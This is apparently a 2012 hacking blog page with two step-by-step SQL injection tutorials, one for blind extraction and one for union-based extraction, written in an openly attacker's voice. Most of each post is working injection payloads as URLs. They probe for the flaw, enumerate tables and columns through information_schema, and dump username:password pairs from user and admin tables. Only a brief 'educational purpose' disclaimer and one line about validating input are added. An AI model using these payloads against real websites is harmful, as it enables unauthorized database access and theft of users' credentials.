Showing posts with label SQL Injections. Show all posts
Showing posts with label SQL Injections. Show all posts

Thursday, February 23, 2012

Blind SQL Injection Tutorial Illustrated


Blind injection is a little more complicated the classic injection but it can be done :D 

It's some what hard but good to Learn 

1) http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack

2) http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.now the real test

3) http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.Hacker's Work Started :) 

1) Get the MySQL version

to get the version in blind attack we use substring 
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.replace 4 with 5, and if query return TRUE then the version is 5. 
i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works 
when select don't work then we use subselect 
i.e
http://www.site.com/news.php?id=5 and (select 1)=1 

if page loads normally then subselects work.then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names.This is part when guessing is the best friend for Hacker ...
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name. 
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess) 
here we merge 1 with the column password, then substring returns the first character (,1,1)


4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users. 
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > .
 so if the ascii char greater then 80, the page loads normally. (TRUE)
 we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far
 so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
 There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,
 cause that makes you better SQL INJECTOR :D

Hope You Learned alot from this and This is just for Educational Purpose.


Wednesday, February 15, 2012

Beginners Tutorial of SQL Injection

While on the way to Bangalore I decided to post a basic tut for SQL Injection as normally people having knowledge of sqlijection call themselves as Hackers but its not so SQL Injection is just a Trailer I will suggest you for other injection also :) so now lets learn .

SQL Injection

“SQL injection is a type of vulnerability in which the attacker adds SQL statements through a web application's input fields or hidden parameters to gain access to resources or make changes to data.” A resource field is usually considered a column in a database that holds important data about an organization. Validation is key to making sure these SQL statements don’t contain criminal code necessary to illegally obtain unauthorized information. This can be done using any database, as no any one vendor is exempt. “SQL injection is not a defect of Microsoft SQL Server – it is also a problem for every other database vendor as well.” Let’s take a look at how SQL injection works by looking at a simple database with user names and passwords. In a normal database, the table named “Login” would look like Table as given below.

Command

Function

SELECT

Selects rows (records)

INSERT INTO

Inserts rows (records)

DELETE

Deletes rows (records)

UPDATE

Changes rows (records)

CREATE TABLE

Creates a new table

The database is not the only entity that can be affected here; the criminal can also access the network as well as the operating system at this point. SQL statements can be written to bypass the signatures of intrusion detection systems; however the discussion of this goes beyond the scope of this paper. The best defense is to check all input and validate at all tiers

Example

SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.

Step 1:

When testing for SQL Injection vulnerabilities, you need to find a page that looks like this:

www.site.com/id=1

Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/id=1'

If the database is vulnerable, the page will give an error or blank page.

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.

Step 2

Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:

http://www.site.com/id=1 order by 1--

http://www.site.com/id=1 order by 2--

http://www.site.com/id=1 order by 3--

http://www.site.com/id=1 order by 4--

http://www.site.com/id=1 order by 5--

If we receive an error here, then that means we have 4 columns.

Step 3

We now are going to use the "union" command to find the vulnerable columns.

for example:

www.site.com/page=1 union all select 1,2,3,4--

Suppose 2 is shown then our targated column is 2

Step 4

We now need to find the database version. We do this by replacing the vulnerable column numbers with the following query:

For example the url would look like:

www.site.com/page=1 union all select 1,version(),3,4--

or

www.site.com/page=1 union all select 1,@@version,3,4--

The resulting page would then show the database user and then the MySQL version. For example 5.0.83.

Step 5

In this step our aim is to list all the table names in the database.

www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--

Now look for admin tables or member or user tables.

Step 6

In this Step we want to list all the column names in the table we have found for example 'admin', to do this we use the following command:

www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='admin'--

This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user, email and password.

Step 7

Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,

www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you don’t have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website.

This Tut is just for Knowledge purpose not to Harm. If anyone Does than Responsibility is all yours :)

Cheers ....